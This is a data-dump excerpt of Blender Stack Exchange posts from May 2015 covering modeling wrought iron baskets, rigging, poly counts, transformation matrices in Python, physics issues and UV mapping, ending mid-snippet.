  <row Id="30796" PostTypeId="1" AcceptedAnswerId="30799" CreationDate="2015-05-13T09:52:17.083" Score="38" ViewCount="4802" Body="&lt;p&gt;I'm want to know how to make something like the wrought iron shapes as shown in the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hzmTi.jpg&quot; alt=&quot;Wrought iron baskets&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2018-03-19T07:12:13.283" Title="How can I make a wrought iron basket?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="30797" PostTypeId="1" CreationDate="2015-05-13T10:14:14.093" Score="2" ViewCount="206" Body="&lt;p&gt;I am a newbie to blender and have been asked to do character rigging in blender. I have tried several times during the last 5 days but unfortunately, there is something wrong and I hope that someone could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target is to generate a dataset consists of set of images taken for a moving 3D character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I have done are &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1-  Created a mesh using MakeHuman, imported it into blender and put it in T-pose.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2mvRF.png&quot; alt=&quot;MakeHuman model in T-pose&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Replaced the default armature in order to add another provided reference armature.&#xA;    2.1 - deleted the default armature&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zBYxj.png&quot; alt=&quot;Character after removing the armature&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.2 - imported the refernce bvh file that contains a skeleton, roughly aligned the joints of the skeleton with the makehuman mesh and made the armature the parent of the mesh.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wzkU6.png&quot; alt=&quot;Armature replacement&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- Tested the created model.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X9t6t.png&quot; alt=&quot;after parenting with auto weights&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4- Everything is working fine inside blender, I have applied an animation and it works well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5- After that I have exported the vertices, bones and labels for the data generation task. We will apply different animations on the character and taking photos while moving. The results are ghostly images and I have been debugging for 5 days and I couldn't fix it till now. What may be wrong in the previous steps ? Is there anything that I should take into consideration before exporting the mesh files ?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s8HjX.png&quot; alt=&quot;Buggy image in T-pose&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9rfVq.png&quot; alt=&quot;Buggy image while moving&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all the used files in the task are attached on the following link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/um02ejnu25nghm6/files.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/um02ejnu25nghm6/files.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14329" LastEditorUserId="14329" LastEditDate="2015-05-13T10:29:44.577" LastActivityDate="2015-05-13T10:29:44.577" Title="Character rigging challenge" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30798" PostTypeId="2" ParentId="30756" CreationDate="2015-05-13T10:30:16.397" Score="6" Body="&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;As of &lt;a href=&quot;https://developer.blender.org/rBc402a379a23af71aa5c21566967b75ab5c869e01&quot; rel=&quot;noreferrer&quot;&gt;this commit&lt;/a&gt; (will be in 2.77) VBOs are always enabled and the option has been removed from the user preferences.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Enabling VBOs (&lt;a href=&quot;http://en.wikipedia.org/wiki/Vertex_Buffer_Object&quot; rel=&quot;noreferrer&quot;&gt;Vertex Buffer Objects&lt;/a&gt;) can often help performance with really high poly objects.&lt;/p&gt;&#xA;&lt;p&gt;Enable it in &lt;em&gt;User Preferences &amp;gt; System&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2SBDC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-01-16T13:17:12.503" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30799" PostTypeId="2" ParentId="30796" CreationDate="2015-05-13T10:37:00.120" Score="36" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;From the Front Ortho view &lt;kbd&gt;Numpad 1&lt;/kbd&gt; create a segmented vertical curve (you can also convert segmented edge to curve with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the middle point and with proportional editing on (&lt;kbd&gt;O&lt;/kbd&gt;) define the amount of bulging the basket will have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1VhcW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane and convert to curve to get a square profile. Set this profile as the bulged curve's bevel object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3PgP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn off proportional editing. In editmode &lt;kbd&gt;Tab&lt;/kbd&gt; offset the bulged curve from origin, duplicate the piece around and arrange like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mpcaR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move it around, set origin point to 3D cursor, duplicate with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;, cancel move with &lt;kbd&gt;RMB&lt;/kbd&gt; and rotate with &lt;kbd&gt;R&lt;/kbd&gt;. You can also use the &lt;em&gt;Spin&lt;/em&gt; tool for this. Make sure the ends of curves form a square&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on proportional editing, this time set the type to Linear. Select the top vertices and twist the curves around Z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bYflr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the curve vertices a &lt;em&gt;Mean Tilt&lt;/em&gt; value can be specified to control the rotation of the square profile. With such control nice basket endings (and transition to the rod) can be achieved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally subdivide the profile curve, convert the basket to mesh, add subdivision modifier, recalculate normals:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SseoA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-17T17:23:26.290" LastActivityDate="2015-05-17T17:23:26.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30800" PostTypeId="2" ParentId="30761" CreationDate="2015-05-13T10:37:56.360" Score="1" Body="&lt;p&gt;If you baked a sound file to the text location an rotation channels, then try deleting the affected animation channels in the &lt;a href=&quot;http://blender.org/manual/animation/editors/graph.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;graph editor&lt;/a&gt;. Then you should be able to insert keyframes again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pgZmg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-13T10:37:56.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30801" PostTypeId="2" ParentId="18779" CreationDate="2015-05-13T11:13:56.607" Score="2" Body="&lt;p&gt;Probably all the dlls are mimssing. When you export your file as a game executable, you should check the box &quot;Copy dlls&quot;.&#xA;Anyway, check it was actually made : in the chosen directory, you should find :&#xA;- the .exe file&#xA;- a folder labeled according to your blender version&#xA;- all the required dlls&#xA;To get your exe running on a computer without blender, you should send all these files.&lt;/p&gt;&#xA;" OwnerUserId="14332" LastActivityDate="2015-05-13T11:13:56.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30802" PostTypeId="1" AcceptedAnswerId="30804" CreationDate="2015-05-13T11:26:24.507" Score="12" ViewCount="33172" Body="&lt;p&gt;From the point of view of a beginner in Blender, the vast majority of learning resources &amp;amp; tutorials seem to focus on low poly objects/scenes. Many questions here on blender.SE echo that focus. Perhaps this may deal with difficulty level or style preference but suspect there are other factors at play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences I should keep in mind when creating something in low vs high poly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I determine what is the appropriate level of detail? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is &quot;the line&quot; that defines low poly from high poly?&lt;/p&gt;&#xA;" OwnerUserId="11030" LastActivityDate="2017-11-29T11:55:15.443" Title="What is the importance of low poly vs high poly?" Tags="&lt;modeling&gt;&lt;sculpting&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30804" PostTypeId="2" ParentId="30802" CreationDate="2015-05-13T12:39:06.143" Score="16" Body="&lt;p&gt;Highpoly is important to achieve superb surface detail. The problem is how you control such enormous amount of vertices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;with brushes (sculpting)&lt;/li&gt;&#xA;&lt;li&gt;through control low-poly cages (subdivision surfaces)&lt;/li&gt;&#xA;&lt;li&gt;through curve or nurbs surfaces&lt;/li&gt;&#xA;&lt;li&gt;generated by some simulation, 3D scanning, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Lowpoly is important for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;game-engines&lt;/li&gt;&#xA;&lt;li&gt;subdivision modelling&lt;/li&gt;&#xA;&lt;li&gt;low-polygon proxy geometries of high-poly ones - for rigging and animating&lt;/li&gt;&#xA;&lt;li&gt;low-poly style and such..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Problem with low-poly is &lt;strong&gt;topology&lt;/strong&gt;, which has to follow some rules, so the shading looks righ, the subdivision surfaces are right or the sculpts will be right. That's why you see so much about low-poly - with knowledge about low-poly topology the high-poly comes along.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You convert low-poly to high-poly through &lt;em&gt;sculpting&lt;/em&gt;, or &lt;em&gt;catmull-clark subdivision&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;You convert high-poly to low-poly through &lt;em&gt;retopology&lt;/em&gt;, or &lt;em&gt;decimation&lt;/em&gt;. The details from high-poly can be &lt;em&gt;baked&lt;/em&gt; into texture maps.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is considered low-poly and high-poly changes with time and computer power, it's safe to say that low-poly is everything that can be displayed on target hardware in real-time. That means that for mobile phone this is different than for workstation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appropriate level of detail depends on how small the object will be on screen - basically how much pixels it will cover on screen:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for textures on lowpoly you want them 2x larger than a texture that has same size pixels on a model as a pixels on screen. This is because texture filtering. Or how the target hardware GPU memory lets you use.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For game models this is usually from 1024x1024 to 4096x4096 or more for next-gen.&lt;/li&gt;&#xA;&lt;li&gt;For mobile-phones aroung 256x256 to 512x512.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;for lowpoly polycounts:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;around 10k for character or more for next-gen. Depends on the object size, hardware, if it is in background or not etc. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;for highpoly you want the polygons small enough that the surface detail will be well defined, this is usually smaller than screen pixel size or even smaller than that. Polycounts in millions.   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-13T12:48:37.067" LastActivityDate="2015-05-13T12:48:37.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30805" PostTypeId="2" ParentId="30796" CreationDate="2015-05-13T13:30:33.183" Score="39" Body="&lt;p&gt;You can do this by using modifiers on a very simple mesh. This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wdjSC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the complexity of this I have given general steps, which will be helpful to most people, and included the blend file at the end if there is still confusion:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a single vertical edge which is the height of the required basket. The origin (orange dot) is set away from the edge as it is about this point that the edge will be rotated later:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4k42O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;A &lt;em&gt;Subsurf modifier&lt;/em&gt; is added, set to 'simple' subdivision to give the edge enough detail to twist. Because this mesh is so simple you can set it to something unusually high, like 5 subdivisions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A &lt;em&gt;Simple Deform&lt;/em&gt; modifier is added, set to twist. Increase the deform angle to twist the mesh as much as you require and adjust the limits so the ends aren't included in the twisting:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXLEt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;An &lt;em&gt;Array modifier&lt;/em&gt; is added to repeat the single twisted piece of iron as many times as needed. An empty is used to control the rotation of the array - it is placed at the object origin and rotated on it's 'Z' axis (a rotation of 51.42 for an array set to 7, or 360/Array Count):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mUlyM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;A &lt;em&gt;Lattice modifier&lt;/em&gt; with 6 'v' divisions is added to scale up the middle and scale down the ends of the basket. The lattice is connected to the basket with the 'Lattice' modifier - scaling and moving the vertices of the lattice (in edit mode of the lattice object) will warp the basket. Here I have scaled up only the middle vertices, causing the basket to bulge: &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K5Eq8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;A &lt;em&gt;Skin modifier&lt;/em&gt; is added to give thickness to all the edges. If the 'skin' is too thick then &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;edit mode&lt;/em&gt;, select all the vertices of the basket mesh and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to scale it up or down:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/va5pz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;This is the final order of modifiers:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gvqHY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All modifiers can now be applied if you wish or you can just leave them all active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further modifiers can also be added such as a bevel modifier for beveled edges or an additional &lt;em&gt;Subsurf modifier&lt;/em&gt; to smooth things out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the complexity of this setup I have included the blend file here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/228/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=228&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2017-06-01T13:23:06.037" LastActivityDate="2017-06-01T13:23:06.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30806" PostTypeId="1" CreationDate="2015-05-13T13:39:13.870" Score="2" ViewCount="3715" Body="&lt;p&gt;I've tracked a scene in Blender so that I could animate and adjust material lighting to an object placed in the scene. Once the footage was tracked, I set up a tracking scene and set the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I was happy with my animation I wanted to render with Cycles just the object animated without the footage in the background. Where can I disable the rendering of the footage?&lt;/p&gt;&#xA;" OwnerUserId="14335" LastEditorUserId="49806" LastEditDate="2018-05-08T01:46:16.073" LastActivityDate="2018-12-06T13:03:51.880" Title="Rendering a tracked scene without background" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;tracking&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30807" PostTypeId="2" ParentId="30639" CreationDate="2015-05-13T15:07:09.530" Score="1" Body="&lt;p&gt;It sounds like you need to change the action mode to play, and you might have it set to &quot;loop stop&quot; or &quot;loop end&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gNKk5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of the play-modes for your benefit.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;PLAY&lt;/strong&gt;- plays the action once on a positive pulse.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;PING-PONG&lt;/strong&gt;- plays the animation forward and backward&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;FLIPPER&lt;/strong&gt;- plays the animation first forward, then after a negative pulse plays it backward.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;LOOP-STOP&lt;/strong&gt;- will play the animation over and over as long as it has a positive pulse.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;LOOP-END&lt;/strong&gt;- Like loop stop, but even after positive pulse is gone, it will finish playing the animation cycle it is in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;PROPERTY&lt;/strong&gt;- plays the animation based on a value from an existing game property.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-05-13T15:07:09.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30808" PostTypeId="1" AcceptedAnswerId="30809" CreationDate="2015-05-13T15:23:52.970" Score="7" ViewCount="3342" Body="&lt;p&gt;A question came up in IRC where a fellow wanted to calculate a position/orientation matrix based on 3 points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that v1 should be the origin of the local coordinate space.  The line from v1 to v2 should be the X axis, and v1,v2,v3 should all be in the XY plane.  How do we use blender python to calculate a matrix usable as an object's transform matrix?&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-13T16:15:25.683" Title="How do I construct a transformation matrix from 3 vertices?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30809" PostTypeId="2" ParentId="30808" CreationDate="2015-05-13T15:23:52.970" Score="7" Body="&lt;p&gt;The following python code from &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/orientation-matrix.html&quot; rel=&quot;nofollow&quot;&gt;orientation-matrix.py&lt;/a&gt; illustrates how to convert 3 coordinates into a transformation matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;&#xA;def make_matrix(v1, v2, v3):&#xA;    a = v2-v1&#xA;    b = v3-v1&#xA;&#xA;    c = a.cross(b)&#xA;    if c.magnitude&amp;gt;0:&#xA;        c = c.normalized()&#xA;    else:&#xA;        raise BaseException(&quot;A B C are colinear&quot;)&#xA;&#xA;    b2 = c.cross(a).normalized()&#xA;    a2 = a.normalized()&#xA;    m = Matrix([a2, b2, c]).transposed()&#xA;    s = a.magnitude&#xA;    m = Matrix.Translation(v1) * Matrix.Scale(s,4) * m.to_4x4()&#xA;&#xA;    return m&#xA;&#xA;#&#xA;&#xA;obj = bpy.context.active_object&#xA;obj.matrix_world = make_matrix(Vector([1,1,1]), Vector([1,2.5,1]), Vector([0.5,1,1.5]) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Matrix.Scale is just thrown in for completeness and you can leave it out if you are content with scale=1.  The order of the matrices in that multiplication is pretty important (I did not get it perfect on the first try).&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-05-13T16:15:25.683" LastActivityDate="2015-05-13T16:15:25.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30810" PostTypeId="1" CreationDate="2015-05-13T15:32:26.203" Score="2" ViewCount="508" Body="&lt;p&gt;I've tried to apply a cloth modifier on a t-shirt so that it could fit properly on the body and followed its movements. The problem is that the t-shirt appears to be shaken by some wind, even if there isn't any force field enabled. Does anybody have any advice to give me?&#xA;Hope I made my self clear!&lt;/p&gt;&#xA;" OwnerUserId="14080" LastActivityDate="2015-05-21T19:07:16.580" Title="cloth modifier on a t-shirt" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30811" PostTypeId="1" CreationDate="2015-05-13T15:44:34.310" Score="2" ViewCount="234" Body="&lt;p&gt;So In blender, I have a plane with rigid body physics applied to it. I also have a wind force to lift up the plane, and its force strength is animated so the plane gets lifted up, and then falls back down onto the floor. But because the plane is on its edge, it starts to fall over slightly, then it gets lifted up by the wind force, and when it comes down, it topples over. I need it to stay on its side, and friction isn't helping at all. Is there a way to keep the plane on its side, maybe through the collisions settings?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2015-05-13T15:44:34.310" Title="Blender Physics - Keep plane from falling over?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30812" PostTypeId="2" ParentId="30626" CreationDate="2015-05-13T16:12:54.510" Score="0" Body="&lt;p&gt;I implemented sambler's suggestion of doing the math in the material instead of in the texture.  This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dq9i9.png&quot; alt=&quot;crazy texture math&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the interior of the &quot;convert space&quot; node group looks like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3jU5D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-13T16:12:54.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30813" PostTypeId="1" AcceptedAnswerId="30818" CreationDate="2015-05-13T16:24:15.160" Score="7" ViewCount="580" Body="&lt;p&gt;I have a single object spinning (at varying speeds controlled by F-curves) along two axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect I'm going for turns out best if I can vary the &lt;strong&gt;Shutter&lt;/strong&gt; in &lt;strong&gt;Sampled Motion Blur&lt;/strong&gt; for every frame, say, for instance, exponentially from 0.25 in Frame 30 to 4.00 in Frame 80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually adjusting this value and exporting bits of the animation is tedious. Is there any way to control the Shutter using F-curves? Or could the same effect be somehow accomplished using another method?&lt;/p&gt;&#xA;" OwnerUserId="14340" LastEditorUserId="2217" LastEditDate="2015-05-13T16:32:59.337" LastActivityDate="2015-05-13T19:17:11.560" Title="Is Dynamic shutter speed in Sampled Motion Blur possible?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;blender-internal-render-engine&gt;&lt;drivers&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30814" PostTypeId="1" AcceptedAnswerId="30816" CreationDate="2015-05-13T17:19:26.750" Score="2" ViewCount="792" Body="&lt;p&gt;I'm working on a Minecraft themed map, and have a ton cubes. Some cubes require 3 materials (a top texture, bottom texture, and sides texture). When I apply the top and bottom materials, it applies it correctly. However, when I apply the side material, it looks distorted and smeared, and only appears correctly when viewing it from the Renderer Viewport (rather than the Material Viewport).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material View:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/04NzB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered View:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/51KO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix it, without resorting to UV mapping?&lt;/p&gt;&#xA;" OwnerUserId="14324" LastEditorUserId="14324" LastEditDate="2015-05-13T17:25:51.887" LastActivityDate="2015-05-13T18:07:06.613" Title="Texturing the sides of a cube (without UV mapping) only appearing correctly in Rendered View?" Tags="&lt;mesh&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30815" PostTypeId="1" CreationDate="2015-05-13T17:36:41.770" Score="2" ViewCount="1359" Body="&lt;p&gt;I add video files to the video editor,  Both audio and video channels appear but only the audio plays.  The video is just a white box.  Anyone know what is wrong.  Added video in WMV.  Also tried MP4 same thing.&lt;/p&gt;&#xA;" OwnerUserId="14344" LastEditorDisplayName="user1853" LastEditDate="2015-12-17T23:48:34.600" LastActivityDate="2016-01-17T00:25:53.940" Title="Video not showing" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30816" PostTypeId="2" ParentId="30814" CreationDate="2015-05-13T18:07:06.613" Score="4" Body="&lt;p&gt;I am not optimistic that there is a way to &quot;solve&quot; this without using UV maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is any encouragement, understand that many people before you have converted minecraft data into 3D data sets:  &lt;a href=&quot;http://www.purplefrog.com/~thoth/minecraft-webgl/two.html&quot; rel=&quot;nofollow&quot;&gt;http://www.purplefrog.com/~thoth/minecraft-webgl/two.html&lt;/a&gt; ; and they used UVs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't remember why I wrote &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/uv-from-geometry-cubic.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, but it is python code that makes up a UV map based on the position of the vertices relative to whichever of the XY, YZ, or XZ planes they are most aligned with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a copy inline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from math import *&#xA;from mathutils import *&#xA;&#xA;def set_uvs_for_face(bm, fi, uv_layer):&#xA;    face = bm.faces[fi]&#xA;    normal = face.normal&#xA;    dx=abs(normal[0])&#xA;    dy=abs(normal[1])&#xA;    dz=abs(normal[2])&#xA;&#xA;    if (dz &amp;gt; dx):&#xA;        u = Vector([1,0,0])&#xA;        if (dz&amp;gt;dy):&#xA;            v = Vector([0,1,0])&#xA;        else:&#xA;            v = Vector([0,0,1])&#xA;    else:&#xA;        v = Vector([0,0,1])&#xA;        if dx&amp;gt;dy:&#xA;            u = Vector([0,1,0])&#xA;        else:&#xA;            u = Vector([1,0,0])&#xA;    for i in range(len(face.loops)):&#xA;        l = face.loops[i]&#xA;        l[uv_layer].uv = [ 